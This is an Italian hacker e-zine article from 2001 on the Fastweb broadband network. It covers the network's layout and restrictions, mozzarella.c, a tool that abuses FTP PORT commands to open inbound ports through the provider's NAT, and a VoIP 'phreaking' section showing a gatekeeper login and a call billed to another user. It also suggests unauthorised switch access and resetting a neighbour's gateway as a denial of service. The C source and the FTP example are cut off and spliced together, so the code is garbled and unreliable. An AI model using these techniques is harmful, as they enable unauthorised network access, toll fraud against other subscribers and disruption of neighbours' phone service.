jackthebest Scrivere "Vari bug su fastweb e come potrebbero essere sfruttati per attacchi, BFi numero 10 anno 4
Io fastweb e tu 1-----------[ BFi numero 10, anno 4 - 30/09/2001 - file 13 di 18 ]-------------
-[ HACKiNG ]------------------------------------------------------------------ ---[ i0 FASTWEB E TU? -----[ naif
"Le opinioni e le informazioni espresse nel presente documento appartengono all'autore e non ad aziende: esse non rappresentano in alcuno modo idee, politiche aziendali o servizi specifici se non il pensiero e l'esperienza dell'autore stesso.
Il disclaimer standard si applica al presente documento, in particolare modo per la non responsabilita' dell'autore, naif, verso qualunque tipo di danni - causati direttamente o indirettamente e conseguenti alla lettura del presente documento e/o all'utilizzo illegale o fraudolento delle informazioni e/o funzionalita' ivi contenute.
naif non si assume alcuna responsabilita' per i contenuti di questo documento e cosi' come di eventuali errori od omissioni e o di qualunque documento, prodotto o servizio da esso derivati, indirettamente o meno.
Il presente documento puo' essere liberamente distribuito, pubblicato o copiato con ogni mezzo disponibile a patto che lo stesso non venga modificato in alcun modo e previa autorizzazione scritta dell'autore.
E' assolutamente vietato appropriarsi della proprieta' intellettuale dell'opera, ovverosia spacciarsi per l'autore, tradurre questo articolo in altre lingue appropriandosene la paternita' o estrapolare singoli paragrafi spacciandosi per l'autore degli stessi."
- Eccomi qui, che sono in ufficio al 10 Luglio e c'e' ben poca gente, e allora, visto che non ho nulla di meglio da fare, mi metto a spiegare come funziona Fastweb, che restrizioni impone a noi utenti Residenziali sfigati, e naturalmente come bypassarle ringraziando naturalmente mamma Cisco x come lavora da cane. - Tra Hackers At Large e vacanze varie, rieccomi che riprendo questo articolo al 25 Agosto con l'intento pero' di aggiungerci cio' che non avrei voluto aggiungerci: dopo 30 minuti di litigata con l'ufficio reclami di Fastweb, penso sia il caso di avviare un sano sputtanamento. - E dopo che non ho fatto un cazzo per un altro bel po' di tempo, mi ritrovo nuovamente a scrivere qui perche' smaster mi ha detto che dobbiamo uscire sabato e io dopo parecchi mesi non ho ancora finito questo articolo.
Indice 1. Introduzione 2. Come Funziona Fastweb ( Contratto Residenziale ) 2.1 La rete 2.2.1 Il Cisco Router in casa 2.2.2 Il CPV ( Home Access Gateway ) 3. Problemi e restrizioni della rete Fastweb 3.1 Connessioni DATI via modem 3.2 Limite di 5 MAC Address per porta 3.3 Comunicazione Fastweb Fastweb + Sicurezza 3.4 Comunicazione Internet Fastweb 3.5 Timeout connessioni TCP idle 4. Come ti offro servizi su rete Fastweb 4.1 Come funziona l'FTP 4.2 mozzarella.c - La Teoria 4.3 mozzarella.c - La Pratica 4.4 mozzarella.c - Il Codice 4.5 Idee malate 5. La nuova frontiera del phreaking: Voice Over IP 5.1 phreaking in rete Fastweb
1. Introduzione
Fastweb e' il primo fornitore di accesso a "banda larga", 10MB, in Italia, che ha iniziato l'anno scorso a offrire servizi a Milano sfruttando l'infrastruttura in fibra di e-biscom (a tutti gli effetti Fastweb e' di e-biscom), che si sta espandendo a Roma e ha come progetto finale di ritrovarsi una rete con copertura nazionale.
Fastweb offre servizi di connettivita' a internet, nonche' telefonia, sfruttando pero' la rete IP tramite VoIP (protocollo h323).
Nell'offerta di base (almeno in quella che ho io, ora non so se qualcosa e' cambiato) sono inclusi: - Collegamento a internet 10Mbit/s - Chiamate verso utenti Fastweb gratuite - 4 ore di telefonate locali al mese (non cumulabili) - 2 ore di telefonate nazionali al mese (non cumulabili) - Account di posta per ogni membro della famiglia (max. 6) - Massimo 3 computer collegabili alla rete
2. Come funziona Fastweb ? ( Contratto Residenziale )
Fastweb ha realizzato una MAN (Metropolitan Area Network), praticamente una enorme rete locale (LAN) in fibra su scala metropolitana.
2.1 La rete
Nella rete Fastweb la suddivisione di essa e' effettuata in Citta' (Milano) Pop (zona della citta', io sono nella "ovest" ), Minipop (id numerico), Area Elementare (id numerico), Progessivo Edificio (Id numerico).
Dallo switch della sede centrale partono cavi in fibra ottica che terminano su i Router di zona (Pop), su cui terminano e ripartono link in fibra verso gli Switch Cisco Cayalyst di quartiere (Minipop). Da questi, i link arrivano fino allo "switch condominiale" che non e' altro che un catalyst che opera a Layer2 che viene installato nella cantina del vostro palazzo ed e' il punto dove termina la fibra e partono i cavi ethernet (1 per ogni cliente) su per il palazzo, terminandovi in casa su una porta rj-45. Questi Switch sono solitamente inseriti in box difficilmente "apribili", ma che, in determinate occasioni, danno la possibilita' a chiunque con un po' di pazienza di aprirli, fare password recovery e averne accesso "non autorizzato".
L'indirizzamento viene normalmente gestito tramite DHCP, che assegna a noi, poveri utenti residenziali, ip in classe 10.x.x.x (anche se mi e' stato confermato da alcuni anche ip sulla classe 1.1.x.x, PURA ANARCHIA), mentre con uno sniffer, vediamo tranquillamente il traffico multicast EIGRP e HSRP generato dai router in classe 172.x.x.x :
19:24:12.372791 172.xx.xx.2 > 224.0.0.10: ip-proto-88 40 [tos 0xc0] (ttl 2, id 0, len 60) 19:24:13.132349 172.xx.xx.3 > 224.0.0.10: ip-proto-88 40 [tos 0xc0] (ttl 2, id 0, len 60)
19:24:10.004537 172.xx.xx.2.1985 > 224.0.0.2.1985: [udp sum ok] udp 20 [tos 0xc0] (ttl 2, id 0, len 48) 19:24:11.536225 172.xx.xx.3.1985 > 224.0.0.2.1985: [udp sum ok] udp 20 [tos 0xc0] (ttl 2, id 0, len 48) 19:24:12.944679 172.xx.xx.2.1985 > 224.0.0.2.1985: [udp sum ok] udp 20 [tos 0xc0] (ttl 2, id 0, len 48)
HSRP sta per "Hot Standby Router Protocol" ed e' utilizzato dai router cisco per gestire configurazioni in failover, per cui un router e' master e l'altro e' slave e se il primo fallisce il secondo si attiva.
EIGRP sta per "Enhanced Interior Gateway Routing Protocol" ed e' un protocollo di routing proprietario cisco che supporta il VLSM e altre funzionalita' tipiche dei protocolli di routing Link-State moderni.
Proprio molto interessante e' quest'ultima classe, dove troviamo al .1 .2 e .3 i router, mentre dal .5 in su ci sono gli IP dei CPV.
Su internet si esce tramite PAT (Port Address Translation), la tecnologia di NAT che su linux si chiama MASQUERADING (piu' ip interni, escono su un solo ip esterno), facendo uscire intere zone con un unico ip pubblico su internet. Ovviamente e' possibile effettuare solo connessioni dall'interno verso l'esterno, e solo tcp e udp.
2.2.1 Il Cisco Router in casa
Inizialmente nelle nostre case, veniva posto un Cisco 2600 con schede VoIP, che, tramite password recovery, rivelava interessanti dettagli sulla configurazione, quali i gateway h323, i codec utilizzati in ordine di priorita' (G.729, G.711, G.722), nonche' username e password degli sfigatissimi consulenti IBM che venivano a installare le apparecchiature. Attualmente questo viene installato solo nei contratti aziendali da lire 250.000, lira +, lira -.
2.2.2 Il CPV ( Home Access Gateway )
Una volta pronti in serie i CPV (chiamati da Fastweb Home Access Gateway), hanno iniziato a montare questi graziosi dispositivi hardware, delle dimensioni di un una scatola di Ferrero roche', che hanno le caratteristiche che potete trovare sul sito del produttore telsey:
http://www.telsey.it/sheet.asp?ID=CPV
Le sue funzioni sono essenzialmente 2: - Funziona da "hub" per i pc domestici - Funziona da proxy h323, in questo modo noi possiamo collegare fino a 2 normali telefoni alle sue prese rj-11, e lui pensera' a far viaggiare la vostra voce su IP al + vicino gatekeeper.
N.B.: Notare la feature "Tracking call for security", il che significa che sono gia' predisposti per consentire le intercettazioni...
Questi simpatici aggeggini sono gestibili via SNMP mentre via web e' possibile visualizzarne la configurazione e, meraviglia delle meraviglie, "resettarli" (e qui c'e' solo il primo dei possibili Denial Of Service che potreste fare al vostro vicino di casa che vi rompe le palle perche' avete la musica troppo alta e lui sta telefonando). AGGIORNAMENTO: ho notato che nel nuovo firmware chiede una password per resettarli, ma ovviamente avrete gia' capito quale e'.
3. Problemi e restrizioni della rete Fastweb
Nonostante Fastweb sia stata avvertita dei problemi che ora vi esporro', sembrerebbe che di utenti che notano queste cose siano 1 su 10000, mentre i restanti 9999 si godono i filmatini in streaming ASF, e scaricano mp3 400k/s, felici di avere quei 10Mb sotto al culo.
3.1 Connessioni DATI via modem
Essendo il sistema telefonico basato su una architettura VoIP, i collegamenti dati funzionano solo con alcuni modem, come mi e' stato confermato dall'helpdesk Fastweb, e a basse velocita'. Quindi, se tra di voi c'e' ancora qualche fanatico del wardialing (consiglio sempre di rifarsi periodicamente 800-89-XXXX), evitate di eliminare il contratto con un operatore fisso, in quanto le vostre connessioni dati faranno pena.
ATTENZIONE, RICORDATE CHE IN CASO DI EMERGENZA, SE VA VIA LA CORRENTE, NON POTRETE EFFETTUARE CHIAMATE DI EMERGENZA PERCHE' IL CPV SI SPEGNERA', IDEM PER LO SWITCH IN CANTINA.
3.2 Limite di 5 MAC Address per porta
A quanto pare, quei furboni di fastweb sui Cisco Catalyst in cantina hanno fatto si' che per ogni porta tutti i mac address in transito vengono registrati e al sesto che incontrano mettono in shutdown l'interfaccia. A me quando si e' rotta la scheda PCMCIA del portatile, una volta montata la nuova e' andata giu' la rete, ho chiamato l'helpdesk fastweb, che mi ha spiegato la situazione, e io mi sono incazzato come un'ape. Quando ho cambiato lavoro, nuovo notebook, lo collego e mi va giu' di nuovo la rete. Unica soluzione: avere una macchina che fa da Firewall facendo nat su un ip interno Fastweb, ma ovviamente una doppia NAT prima di arrivare su internet aggiunge notevoli problemi nel capire dove intervenire quando qualcosa non funziona.
3.3 Comunicazione Fastweb Fastweb + Sicurezza
Nonostante non tutte le reti interne siano raggiungibili fra di loro, una grossa parte lo e', ed e' facile incontrare parecchie lan di varie aziende completamente "sbragate" in quanto il link interno "fastweb" non viene visto come un rischio e l'idea di un firewall non sembra opportuna (come i link x.25 o i RAS messi su numeri verdi d'altronde).
Sarebbe inoltre carino creare delle comunita' virtuali sfruttando la rete interna Fastweb (io lancio l'idea, chi la raccoglie mi contatti...).
3.4 Comunicazione Internet Fastweb
Noi possiamo collegarci a internet, ma utenti internet non possono collegarsi verso di noi, e qui non ci sono piu' i soliti problemucci idioti stile "non ho un ip fisso" che alla fine si risolve con dynamic dns, ma il problema e' proprio strutturale e la risoluzione di questo e' uno dei due punti "caldi" dell'articolo.
3.5 Timeout connessioni TCP idle
Questo problema, probabilmente non verra' riscontrato da tutti, ma comunque da molti, in quanto non in tutte le zone e' stata fatta questa modifica da quei d******* di fastweb. A quanto pare, dato che tutte le connessioni effettuate sono inserite nella tabella di connessioni del router di fastweb, loro possono gestirle come gli pare e hanno impostato che il timeout di qualsiasi connessione TCP che sia "idle" per 60 secondi viene automaticamente resettata (nel senso che manda un RST a tutti e 2 i peer della comunicazione). Questo comporta "parecchi svantaggi"... tanto per elencarne qualcuno: - Se siete su irc, ogni 60 secondi di idle venite disconnessi. - Se lavorate in ssh/telnet su un terminale dopo 60 secondi venite disconnessi. - Se scaricare un file via ftp senza avere "hash" attivo, e impiegate piu' di 60 secondi per scaricare un file, la connessione di controllo viene resettata e il piu' dei client ftp "si impallano".
4. Come ti offro servizi su rete Fastweb
Come descritto precedentemente, uscendo tutti quanti in PAT, non abbiamo modo di permettere connessioni in ingresso e quindi avere il nostro sito web con il mirror di ftp.kernel.org o quello che vi pare.
Durante un viaggio in treno con recidivo verso verona, andando a casa di cyrax, mi e' venuto il flash, l'illuminazione! La madonna si e' presentata davanti a me e mi ha sussurrato nell'orecchio "hey naif, usa l'ftp..." . Oh yeah! Grazie dio, tu si' che hai capito tutto!
L'implementazione pratica di questo giochino e' stata fatta con XXXXXX (non vuole fare sapere il suo nome... posso capirlo), con scleri notevoli per fare tunnel pppd over ssh, port forwarding, masquerading e minchiate varie, il tutto per poterlo fare collegare sulla mia macchina di casa passando dalla mia box in ufficio.
Prima di tutto e' necessario spiegare in poche righe come funziona una connessione FTP...
4.1 Come funziona l'FTP
L'ftp e' un protocollo che utilizza 2 canali, uno per i comandi e uno x trasferire i file che a sua volta opera in diverse modalita' (attiva e passiva), e la gestione di questo da parte dei firewall e' sempre stata molto complessa, e ha spesso rivelato interessanti modi per bypassarli.
Nella modalita' attiva il client comunica al server una porta locale a cui quest'ultimo dovra' collegarsi per inviare/ricevere file.
Nella modalita' passiva il client comunica al server di volere utilizzare questa modalita' tramite il comando PASV, e a questo punto il server gli risponde indicando la porta a cui il client dovra' collegarsi per inviare/ricevere file.
A noi interessa mostrare il funzionamento della modalita' attiva per cui una normale sessione avviene in questo modo:
Client: 192.168.1.4 Server: 172.16.1.9
Il client si collega all'ftp server sulla porta 21/tcp dove invia tutti i comandi e riceve le relative risposte:
Canale di controllo Client ----------------> 21/tcp Server USER pinco ---------------->
192.168.1.4:25699
* Nota: il formato del comando PORT e': n1,n2,n3,n4,z1,z2 dove n* e' un ip che al posto dei punti ha le virgole, e dove z1 e z2 vengono utilizzati per calcolare la porta di destinazione nel formato: ( z1*256 + z2 ) . Bella merda l'ftp vero?
Ora che abbiamo capito come funziona la modalita' attiva, pensiamo a come i router e i firewall devono gestire questo complesso processo quando c'e' di mezzo la NAT considerando tutti i problemi che derivano dal fatto che:
1 - Quando il client lancia il comando PORT utilizza un IP interno che deve essere riscritto e non e' un semplice header, ma un comando nel payload del pacchetto che deve essere parsato. 2 - Quando la mappatura non e' one-to-one, ma si usa il PAT, potrebbero "teoricamente" esserci altri utenti che lanciano un comando PORT con la stessa porta di destinazione, che andrebbe eventualmente riscritta anch'essa. 3 - Se io lancio un comando PORT dall'interno, dovrebbe potersi collegare a me solo e soltanto il server a cui io ho lanciato questo comando. 4 - Quando lancio un comando PORT, il router dovrebbe permettere il canale di ritorno solo dopo avere ricevuto un bel return code "200 PORT command successful" dal server.
Naturalmente alcune di queste cose non si verificano nel modo corretto, in particolare a noi interessano i punti 3 e 4 ed e' cosi' che andiamo a capire come montare un webserver sfruttando i 10MB dell'abbonamento residenziale Fastweb.
4.2 mozzarella.c - La Teoria
Da come avrete gia' capito, il nome del programma che e' stato creato per svolgere questo compito e' "mozzarella", di cui ne andiamo a spiegare il funzionamento.
Quando si apre una connessione FTP in modalita' attiva, come avete letto prima, il client si collega al server per lanciare i comandi, mentre per la connessione DATA e' il server a collegarsi al client. Quando io, utente Fastweb, mi collego a un ftp server e scarico un file, il cisco router che mi presenta su internet si preoccupera' di riscrivere il comando PORT e di consentire una connessione dall'ftp server a me, aprendo un canale temporaneo fra IP_DI_PAT:PORTA ------> MIO_IP_INTERNO:PORTA .
WOW, quindi un modo per offrire servizi esiste!
Ovviamente Cisco, a seguito di un comando PORT, permette la connessione verso IP_DI_PAT:PORTA da qualunque host, per cui se io configuro un web server sulla mia porta 30000, mi collego in ftp a un qualsiasi ftp server e lancio il comando PORT con ultimi parametri 115,560 (che appunto fa' (115*256=29440) + 560 = 30000 ), chiunque da internet potra' aprire una connessione verso la porta 30000/tcp dell'ip di PAT.
Abbiamo ora capito come funziona, ma ovviamente un servizio web richiede l'apertura di piu' connessioni contemporanee da parte del browser, quindi si rende necessario utilizzare piu' ftp server e sopratutto piu' connessioni verso cui lanciare costantemente i comandi PORT.
Da test effettuati sul campo sono riuscito a consentire l'inizializzazione di circa 10 connessioni al secondo con una perdita di 2 connessioni su 632 utilizzando 3 ftp server remoti con 3 connessioni per ogni ftp server lanciando 4 comandi PORT al secondo.
Quindi con: - 9 connessioni tcp - 3 ftp server - 36 PORT/secondo riusciamo a consentire in ingresso: - 10 connessioni/secondo Inoltre, in benchmark da me fatti ho avviato alcune sessioni e sono arrivato a 41 sessioni established generando un troughput di 1200kbit/s.
root@XXXXX:~# netstat -na|grep 30000 | grep -c ESTABLISHED 41
4.3 mozzarella.c - La Pratica
Nella realta' pero', utilizzare "mozzarella" richiede per comodita' l'utilizzo di un server esterno dato che non possiamo consentire connessioni su porte 30000.
Proprio per questo motivo e' difficile dare in giro l'url di un sito dicendo che e' qualcosa tipo http://www.sito.com:30000 ed allora conviene appoggiarsi a un qualsiasi web server esterno, su cui mettere un redirect verso http://IP_DI_PAT:PORTA .
Bisogna inoltre rendersi conto che inviare 36 PORT/s a un ftp server, puo' dare fastidio al sysadmin di questo ftp server: rispettate la netiquette e fatevi installare un ftp server "finto" da qualche vostro amico.
L'help di mozzarella penso sia sufficientemente esplicativo: Usage: ./mozzarella [-h][-u username -p password][-a][-H host] [-P port_to_open][-L localhost] -h this help -u username for ftp -p password for ftp -H ftp host -L your local ip -P the port to bounce -a use anonymous ftp -r number of PORT commands to send for each server any second -i number of session for ftp
4.4 mozzarella.c - Il Codice
/* L'autore non e' conosciuto e comunque non si assume alcuna responsabilita' per l'utilizzo di questo programma che viene distribuito senza alcuna garanzia e per puri scopi educativi. Tale programma e' distribuito sotto la licenza GPL presente all'url: http://www.gnu.org/licenses/gpl.html
Benchmark: 3 servers, 3 instances per server, 10 connections/second, 2 dropped on 632 :) */ #include #include #include #include #include #include #include #include #include #include #include
#define ONESEC 1000000 /* usecs :) */ #define ANONPWD "modella@lamozzerlla.fastweb.sux"
unsigned long int resolv(char *host) { unsigned long int ip; struct hostent *he;
ip = inet_addr(host); if(ip != -1) return ip; he = gethostbyname(host); if(he != NULL) { memcpy(&ip, he->h_addr, sizeof(unsigned long int)); return ip; }
fprintf(stderr, "Cannot resolve %s ", host); perror("gethostbyname"); }
int /* -1: EOF, 0: not endline, 1: endline */ ftp_readline(char *buf, int maxsz) { int islast = 0;
if(!fgets(buf, maxsz, stdin)) return -1; if(buf[3] == ' ') islast = 1; while(!strchr(buf, ' ')) if(!fgets(buf, maxsz, stdin)) return islast; return islast; }
int ftp_connect(char *host, int port) { int s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); struct sockaddr_in sin;
if(s> 8)&0xFF, port & 0xFF); #ifdef VERBOSE fprintf(stderr, "PORT %u,%u,%u,%u,%u,%u ", ip[0], ip[1], ip[2], ip[3], (port >> 8)&0xFF, port & 0xFF); #endif
fflush(stdout); if(ftp_readline(dummy, sizeof(dummy)) Started logical channel: receiving G.711-ALaw-64k{sw} Ringing phone for "IP.DEL.GATE.KEEPER" ...
Ohhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh!!!!!!! Ci siamo loggati sul gatekeeper e stiamo facendo una chiamata addebitando il costo della chiamata all'utente OsamaBinLaden (e spero che fastweb gli mandi una bolletta salata!). Scusate se ho nascosto IP.DEL.GATE.KEEPER e 10.xxx.xxx.xx, ma potete anche capire il perche'...
Allora, diciamo che mi sono anche rotto le palle di scrivere e vi esorto TUTTI ad approfondire il funzionamento del VoIP, prendendo tutto il materiale disponibile da http://www.openh323.org e altri siti. Studiare l'h323 e' anche un po' una sfida perche' per avere gli standard che sono ITU, si dovrebbe sborsare dai 20$ ai 100$ e non si possono comunque redistribuire tali documenti. Good Luck!
-- Bibbliogafia
Per approfondire il funzionamento dell'ftp "in pratica" leggete l'ottimo paper di D. J. Bernstein su: http://cr.yp.to/ftp.html Per approfondire il funzionamento dell'EIGRP: http://www.cisco.com/warp/public/103/1.html Per approfondire il funzionamento dell'HSRP: http://www.cisco.com/warp/public/619/index.shtml Per approfondire il funzionamento dell'H323: http://www.openh323.org/standards.html
Si ringrazia: vim
Si salutano: TUTTI (non ho voglia di scrivere i nomi di chi merita di essere salutato altrimenti se me ne scordo qualcuno poi vengo linciato).
Se usate il Frame Buffer sotto linux provate ad eseguire cat /dev/urandom >> /dev/fb0
naif
============================================================================== --------------------------------[ EOF 13/18 ]--------------------------------- ==============================================================================
www.bismark.it
"
|
|
| |
|
|
|
Average Score: 5 Voti: 4

|
|
|